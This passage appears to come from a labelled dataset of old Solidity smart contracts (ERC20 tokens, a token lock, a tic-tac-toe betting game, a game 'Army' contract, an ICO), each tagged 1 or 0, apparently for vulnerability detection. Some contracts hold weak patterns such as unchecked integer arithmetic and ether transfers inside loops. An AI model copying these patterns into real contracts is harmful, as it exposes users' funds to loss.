function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30499200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x30c45678B9Fbd4eBaA048101935F76BCa51cCEB4;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
contract TicTacPotato{
event StalematePayout(address adr, uint256 amount);
address public ceoAddress;
uint256 public lastBidTime;
uint256 public contestStartTime;
uint256 public lastPot;
mapping (uint256 => address) public indexToAddress;
mapping (address => uint256) public cantBidUntil;
Tile[] public tiles;
uint256 public TIME_TO_STALEMATE=30 minutes;
uint256 public NUM_TILES=12;
uint256 public START_PRICE=0.005 ether;
uint256 public CONTEST_INTERVAL=15 minutes;
uint256 public COOLDOWN_TIME=7 minutes;
uint[][] tests = [[0,1,2],[3,4,5],[6,7,8], [0,3,6],[1,4,7],[2,5,8], [0,4,8],[2,4,6]];
struct Tile {
address owner;
uint256 price;
}
function TicTacPotato() public{
ceoAddress=msg.sender;
contestStartTime=SafeMath.add(now,1 hours);
for(uint i = 0; i<NUM_TILES; i++){
Tile memory newtile=Tile({owner:address(this),price: START_PRICE});
tiles.push(newtile);
indexToAddress[i]=address(this);
}
}
function buyTile(uint256 index) public payable{
require(now>contestStartTime);
if(_endContestIfNeededStalemate()){
}
else{
Tile storage tile=tiles[index];
require(msg.value >= tile.price);
require(now >= cantBidUntil[msg.sender]);
cantBidUntil[msg.sender]=SafeMath.add(now,COOLDOWN_TIME);
require(msg.sender != tile.owner);
require(msg.sender != ceoAddress);
uint256 sellingPrice=tile.price;
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 70), 100));
uint256 devFee= uint256(SafeMath.div(SafeMath.mul(sellingPrice, 4), 100));
if(tile.owner!=address(this)){
tile.owner.transfer(payment);
}
ceoAddress.transfer(devFee);
tile.price= SafeMath.div(SafeMath.mul(sellingPrice, 115), 70);
tile.owner=msg.sender;
indexToAddress[index]=msg.sender;
lastBidTime=block.timestamp;
if(!_endContestIfNeeded()){
msg.sender.transfer(purchaseExcess);
}
}
}
function pause() public {
require(msg.sender==ceoAddress);
require(now<contestStartTime);
contestStartTime=SafeMath.add(now,7 days);
}
function unpause() public{
require(msg.sender==ceoAddress);
require(now<contestStartTime);
_setNewStartTime();
}
function getBalance() public view returns(uint256 value){
return this.balance;
}
function timePassed() public view returns(uint256 time){
if(lastBidTime==0){
return 0;
}
return SafeMath.sub(block.timestamp,lastBidTime);
}
function timeLeftToContestStart() public view returns(uint256 time){
if(block.timestamp>contestStartTime){
return 0;
}
return SafeMath.sub(contestStartTime,block.timestamp);
}
function timeLeftToBid(address addr) public view returns(uint256 time){
if(now>cantBidUntil[addr]){
return 0;
}
return SafeMath.sub(cantBidUntil[addr],now);
}
function timeLeftToCook() public view returns(uint256 time){
return SafeMath.sub(TIME_TO_STALEMATE,timePassed());
}
function contestOver() public view returns(bool){
return timePassed()>=TIME_TO_STALEMATE;
}
function haveIWon() public view returns(bool){
return checkWinner(msg.sender);
}
function checkWinner(address a) constant returns (bool){
for(uint i =0; i < 8;i++){
uint[] memory b = tests[i];
if(indexToAddress[b[0]] ==a && indexToAddress[b[1]]==a && indexToAddress[b[2]]==a) return true;
}
return false;
}
function _endContestIfNeeded() private returns(bool){
if(haveIWon()){
lastPot=this.balance;
msg.sender.transfer(this.balance);
lastBidTime=0;
_resetTiles();
_setNewStartTime();
return true;
}
return false;
}
function _endContestIfNeededStalemate() private returns(bool){
if(timePassed()>=TIME_TO_STALEMATE){
msg.sender.transfer(msg.value);
lastPot=this.balance;
_stalemateTransfer();
lastBidTime=0;
_resetTiles();
_setNewStartTime();
return true;
}
return false;
}
function _stalemateTransfer() private{
uint payout=this.balance;
for(uint i=9;i<12;i++){
require(msg.sender != indexToAddress[i]);
if(indexToAddress[i]!=address(this)){
uint proportion=(i-8)*15;
indexToAddress[i].transfer(uint256(SafeMath.div(SafeMath.mul(payout, proportion), 100)));
emit StalematePayout(indexToAddress[i], uint256(SafeMath.div(SafeMath.mul(payout, proportion), 100)));
}
}
}
function _resetTiles() private{
for(uint i = 0; i<NUM_TILES; i++){
Tile memory newtile=Tile({owner:address(this),price: START_PRICE});
tiles[i]=newtile;
indexToAddress[i]=address(this);
}
}
function _setNewStartTime() private{
contestStartTime=SafeMath.add(now,CONTEST_INTERVAL);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract apeCashCoin is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply = 250000000000000000000000000;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public payable {
symbol = "APEc";
name = "ApeCash Coin";
decimals = 18;
_totalSupply = 250000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BFX is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function BFX() public {
symbol = "BFX";
name = "Bifinex";
decimals = 18;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.25;
contract Army {
GooToken constant goo = GooToken(0xdf0960778c6e6597f197ed9a25f12f5d971da86c);
Clans clans = Clans(0x0);
uint224 public totalArmyPower;
uint224 public gooBankroll;
uint256 public nextSnapshotTime;
address public owner;
mapping(address => mapping(uint256 => ArmyPower)) public armyPowerSnapshots;
mapping(address => mapping(uint256 => bool)) public armyPowerZeroedSnapshots;
mapping(address => uint256) public lastWarFundClaim;
mapping(address => uint256) public lastArmyPowerUpdate;
mapping(address => bool) operator;
uint224[] public totalArmyPowerSnapshots;
uint224[] public allocatedWarFundSnapshots;
uint224 public playerDivPercent = 2;
uint224 public clanDivPercent = 2;
struct ArmyPower {
uint80 attack;
uint80 defense;
uint80 looting;
}
constructor(uint256 firstSnapshotTime) public {
nextSnapshotTime = firstSnapshotTime;
owner = msg.sender;
}
function setClans(address clansContract) external {
require(msg.sender == owner);
clans = Clans(clansContract);
}
function setOperator(address gameContract, bool isOperator) external {
require(msg.sender == owner);
operator[gameContract] = isOperator;
}
function updateDailyDivPercents(uint224 newPlayersPercent, uint224 newClansPercent) external {
require(msg.sender == owner);
require(newPlayersPercent > 0 && newPlayersPercent <= 10);
require(newClansPercent > 0 && newClansPercent <= 10);
playerDivPercent = newPlayersPercent;
clanDivPercent = newClansPercent;
}
function depositSpentGoo(uint224 gooSpent) external {
require(operator[msg.sender]);
gooBankroll += gooSpent;
}
function getArmyPower(address player) external view returns (uint80, uint80, uint80) {
ArmyPower memory armyPower = armyPowerSnapshots[player][lastArmyPowerUpdate[player]];
return (armyPower.attack, armyPower.defense, armyPower.looting);
}
function getArmiesPower(address player, address target) external view returns (uint80 playersAttack, uint80 playersLooting, uint80 targetsDefense) {
ArmyPower memory armyPower = armyPowerSnapshots[player][lastArmyPowerUpdate[player]];
playersAttack = armyPower.attack;
playersLooting = armyPower.looting;
targetsDefense = armyPowerSnapshots[target][lastArmyPowerUpdate[target]].defense;
}
function increasePlayersArmyPowerTrio(address player, uint80 attackGain, uint80 defenseGain, uint80 lootingGain) public {
require(operator[msg.sender]);
ArmyPower memory existingArmyPower = armyPowerSnapshots[player][lastArmyPowerUpdate[player]];
uint256 snapshotDay = allocatedWarFundSnapshots.length;
existingArmyPower.attack += attackGain;
existingArmyPower.defense += defenseGain;
existingArmyPower.looting += lootingGain;
armyPowerSnapshots[player][snapshotDay] = existingArmyPower;
if (lastArmyPowerUpdate[player] != snapshotDay) {
lastArmyPowerUpdate[player] = snapshotDay;
}
totalArmyPower += (attackGain + defenseGain);
clans.increaseClanPower(player, attackGain + defenseGain);
}
function decreasePlayersArmyPowerTrio(address player, uint80 attackLoss, uint80 defenseLoss, uint80 lootingLoss) public {
require(operator[msg.sender]);
ArmyPower memory existingArmyPower = armyPowerSnapshots[player][lastArmyPowerUpdate[player]];
uint256 snapshotDay = allocatedWarFundSnapshots.length;
existingArmyPower.attack -= attackLoss;
existingArmyPower.defense -= defenseLoss;
existingArmyPower.looting -= lootingLoss;
if (existingArmyPower.attack == 0 && existingArmyPower.defense == 0) {
armyPowerZeroedSnapshots[player][snapshotDay] = true;
delete armyPowerSnapshots[player][snapshotDay];
} else {
armyPowerSnapshots[player][snapshotDay] = existingArmyPower;
}
if (lastArmyPowerUpdate[player] != snapshotDay) {
lastArmyPowerUpdate[player] = snapshotDay;
}
totalArmyPower -= (attackLoss + defenseLoss);
clans.decreaseClanPower(player, attackLoss + defenseLoss);
}
function changePlayersArmyPowerTrio(address player, int attackChange, int defenseChange, int lootingChange) public {
require(operator[msg.sender]);
ArmyPower memory existingArmyPower = armyPowerSnapshots[player][lastArmyPowerUpdate[player]];
uint256 snapshotDay = allocatedWarFundSnapshots.length;
existingArmyPower.attack = uint80(int(existingArmyPower.attack) + attackChange);
existingArmyPower.defense = uint80(int(existingArmyPower.defense) + defenseChange);
existingArmyPower.looting = uint80(int(existingArmyPower.looting) + lootingChange);
if (existingArmyPower.attack == 0 && existingArmyPower.defense == 0) {
armyPowerZeroedSnapshots[player][snapshotDay] = true;
delete armyPowerSnapshots[player][snapshotDay];
} else {
armyPowerSnapshots[player][snapshotDay] = existingArmyPower;
}
if (lastArmyPowerUpdate[player] != snapshotDay) {
lastArmyPowerUpdate[player] = snapshotDay;
}
changeTotalArmyPower(player, attackChange, defenseChange);
}
function changeTotalArmyPower(address player, int attackChange, int defenseChange) internal {
uint224 newTotal = uint224(int(totalArmyPower) + attackChange + defenseChange);
if (newTotal > totalArmyPower) {
clans.increaseClanPower(player, newTotal - totalArmyPower);
} else if (newTotal < totalArmyPower) {
clans.decreaseClanPower(player, totalArmyPower - newTotal);
}
totalArmyPower = newTotal;
}
function snapshotDailyWarFunding() external {
require(msg.sender == owner);
require(now + 6 hours > nextSnapshotTime);
totalArmyPowerSnapshots.push(totalArmyPower);
allocatedWarFundSnapshots.push((gooBankroll * playerDivPercent) / 100);
uint256 allocatedClanWarFund = (gooBankroll * clanDivPercent) / 100;
gooBankroll -= (gooBankroll * (playerDivPercent + clanDivPercent)) / 100;
uint256 numClans = clans.totalSupply();
uint256[] memory clanArmyPower = new uint256[](numClans);
uint256 todaysTotalClanPower;
for (uint256 i = 1; i <= numClans; i++) {
clanArmyPower[i-1] = clans.clanTotalArmyPower(i);
todaysTotalClanPower += clanArmyPower[i-1];
}
for (i = 1; i <= numClans; i++) {
clans.depositGoo((allocatedClanWarFund * clanArmyPower[i-1]) / todaysTotalClanPower, i);
}
nextSnapshotTime = now + 24 hours;
}
function claimWarFundDividends(uint256 startSnapshot, uint256 endSnapShot) external {
require(startSnapshot <= endSnapShot);
require(startSnapshot >= lastWarFundClaim[msg.sender]);
require(endSnapShot < allocatedWarFundSnapshots.length);
uint224 gooShare;
ArmyPower memory previousArmyPower = armyPowerSnapshots[msg.sender][lastWarFundClaim[msg.sender] - 1];
for (uint256 i = startSnapshot; i <= endSnapShot; i++) {
ArmyPower memory armyPowerDuringSnapshot = armyPowerSnapshots[msg.sender][i];
bool soldAllArmy = armyPowerZeroedSnapshots[msg.sender][i];
if (!soldAllArmy && armyPowerDuringSnapshot.attack == 0 && armyPowerDuringSnapshot.defense == 0) {
armyPowerDuringSnapshot = previousArmyPower;
} else {
previousArmyPower = armyPowerDuringSnapshot;
}
gooShare += (allocatedWarFundSnapshots[i] * (armyPowerDuringSnapshot.attack + armyPowerDuringSnapshot.defense)) / totalArmyPowerSnapshots[i];
}
ArmyPower memory endSnapshotArmyPower = armyPowerSnapshots[msg.sender][endSnapShot];
if (endSnapshotArmyPower.attack == 0 && endSnapshotArmyPower.defense == 0 && !armyPowerZeroedSnapshots[msg.sender][endSnapShot] && (previousArmyPower.attack + previousArmyPower.defense) > 0) {
armyPowerSnapshots[msg.sender][endSnapShot] = previousArmyPower;
}
lastWarFundClaim[msg.sender] = endSnapShot + 1;
(uint224 clanFee, uint224 leaderFee, address leader, uint224 referalFee, address referer) = clans.getPlayerFees(msg.sender);
if (clanFee > 0) {
clanFee = (gooShare * clanFee) / 100;
leaderFee = (gooShare * leaderFee) / 100;
clans.mintGoo(msg.sender, clanFee);
goo.mintGoo(leaderFee, leader);
}
if (referer == address(0)) {
referalFee = 0;
} else if (referalFee > 0) {
referalFee = (gooShare * referalFee) / 100;
goo.mintGoo(referalFee, referer);
}
goo.mintGoo(gooShare - (clanFee + leaderFee + referalFee), msg.sender);
}
function getSnapshotDay() external view returns (uint256 snapshot) {
snapshot = allocatedWarFundSnapshots.length;
}
}
contract GooToken {
function transfer(address to, uint256 tokens) external returns (bool);
function increasePlayersGooProduction(address player, uint256 increase) external;
function decreasePlayersGooProduction(address player, uint256 decrease) external;
function updatePlayersGooFromPurchase(address player, uint224 purchaseCost) external;
function updatePlayersGoo(address player) external;
function mintGoo(uint224 amount, address player) external;
}
contract Clans {
mapping(uint256 => uint256) public clanTotalArmyPower;
function totalSupply() external view returns (uint256);
function depositGoo(uint256 amount, uint256 clanId) external;
function getPlayerFees(address player) external view returns (uint224 clansFee, uint224 leadersFee, address leader, uint224 referalsFee, address referer);
function getPlayersClanUpgrade(address player, uint256 upgradeClass) external view returns (uint224 upgradeGain);
function mintGoo(address player, uint256 amount) external;
function increaseClanPower(address player, uint256 amount) external;
function decreaseClanPower(address player, uint256 amount) external;
}
contract Factories {
uint256 public constant MAX_SIZE = 40;
function getFactories(address player) external returns (uint256[]);
function addFactory(address player, uint8 position, uint256 unitId) external;
}
library SafeMath {
function mul(uint224 a, uint224 b) internal pure returns (uint224) {
if (a == 0) {
return 0;
}
uint224 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath224 {
function mul(uint224 a, uint224 b) internal pure returns (uint224) {
if (a == 0) {
return 0;
}
uint224 c = a * b;
assert(c / a == b);
return c;
}
function div(uint224 a, uint224 b) internal pure returns (uint224) {
uint224 c = a / b;
return c;
}
function sub(uint224 a, uint224 b) internal pure returns (uint224) {
assert(b <= a);
return a - b;
}
function add(uint224 a, uint224 b) internal pure returns (uint224) {
uint224 c = a + b;
assert(c >= a);
return c;
}
} | 0 |
pragma solidity ^0.4.24;
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
contract ERC20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool ok);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool ok);
function approve(address _spender, uint256 _value) public returns (bool ok);
function allowance(address _owner, address _spender) public constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function multiply(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divide(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function subtract(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract StandardToken is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length == size + 4);
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool ok) {
require(_to != address(0));
require(_value > 0);
uint256 holderBalance = balances[msg.sender];
require(_value <= holderBalance);
balances[msg.sender] = holderBalance.subtract(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool ok) {
require(_to != address(0));
uint256 allowToTrans = allowed[_from][msg.sender];
uint256 balanceFrom = balances[_from];
require(_value <= balanceFrom);
require(_value <= allowToTrans);
balances[_from] = balanceFrom.subtract(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowToTrans.subtract(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool ok) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) onlyPayloadSize(2 * 32) public returns (bool ok) {
uint256 oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = oldValue.add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) onlyPayloadSize(2 * 32) public returns (bool ok) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.subtract(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _holder, uint256 _value) internal {
require(_value <= balances[_holder]);
balances[_holder] = balances[_holder].subtract(_value);
totalSupply = totalSupply.subtract(_value);
emit Burn(_holder, _value);
emit Transfer(_holder, address(0), _value);
}
event Burn(address indexed _burner, uint256 _value);
}
contract Ownable {
address public owner;
address public newOwner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
owner = newOwner;
newOwner = address(0);
emit OwnershipTransferred(owner, newOwner);
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract ERC223Interface is ERC20Interface {
function transfer(address _to, uint256 _value, bytes _data) public returns (bool ok);
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes indexed _data);
}
contract Standard223Token is ERC223Interface, StandardToken {
function transfer(address _to, uint256 _value, bytes _data) public returns (bool ok) {
if (!super.transfer(_to, _value)) {
revert();
}
if (isContract(_to)) {
contractFallback(msg.sender, _to, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool ok) {
return transfer(_to, _value, new bytes(0));
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool ok) {
if (!super.transferFrom(_from, _to, _value)) {
revert();
}
if (isContract(_to)) {
contractFallback(_from, _to, _value, _data);
}
emit Transfer(_from, _to, _value, _data);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool ok) {
return transferFrom(_from, _to, _value, new bytes(0));
}
function contractFallback(address _origin, address _to, uint256 _value, bytes _data) private {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(_origin, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint256 length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
}
contract ICOToken is BurnableToken, Ownable, Standard223Token {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balances[owner] = totalSupply;
emit Mint(owner, totalSupply);
emit Transfer(address(0), owner, totalSupply);
emit MintFinished();
}
function () public payable {
revert();
}
event Mint(address indexed _to, uint256 _amount);
event MintFinished();
}
contract ICO is Ownable, ERC223ReceivingContract {
using SafeMath for uint256;
struct DatePeriod {
uint256 start;
uint256 end;
}
struct Beneficiary {
address wallet;
uint256 transferred;
uint256 toTransfer;
}
uint256 public price = 0.002 ether / 1e3;
uint256 public minPurchase = 0.01 ether;
mapping(address => uint256) buyers;
uint256 public totalSold = 0;
uint256 public forSale = 25000000e3;
uint256 public softCap = 2500000e3;
DatePeriod public salePeriod;
ICOToken internal token;
Beneficiary[] internal beneficiaries;
constructor(ICOToken _token, uint256 _startTime, uint256 _endTime) public {
token = _token;
salePeriod.start = _startTime;
salePeriod.end = _endTime;
addBeneficiary(0x1f7672D49eEEE0dfEB971207651A42392e0ed1c5, 5000 ether);
addBeneficiary(0x7ADCE5a8CDC22b65A07b29Fb9F90ebe16F450aB1, 15000 ether);
addBeneficiary(0xa406b97666Ea3D2093bDE9644794F8809B0F58Cc, 10000 ether);
addBeneficiary(0x3Be990A4031D6A6a9f44c686ccD8B194Bdeea790, 10000 ether);
addBeneficiary(0x80E94901ba1f6661A75aFC19f6E2A6CEe29Ff77a, 10000 ether);
}
function () public isRunning payable {
require(msg.value >= minPurchase);
uint256 unsold = forSale.subtract(totalSold);
uint256 paid = msg.value;
uint256 purchased = paid.divide(price);
if (purchased > unsold) {
purchased = unsold;
}
uint256 toReturn = paid.subtract(purchased.multiply(price));
uint256 reward = calculateReward(totalSold, purchased);
if (toReturn > 0) {
msg.sender.transfer(toReturn);
}
token.transfer(msg.sender, purchased.add(reward));
allocateFunds();
buyers[msg.sender] = buyers[msg.sender].add(paid.subtract(toReturn));
totalSold = totalSold.add(purchased);
}
modifier isRunning() {
require(now >= salePeriod.start);
require(now <= salePeriod.end);
_;
}
modifier afterEnd() {
require(now > salePeriod.end);
_;
}
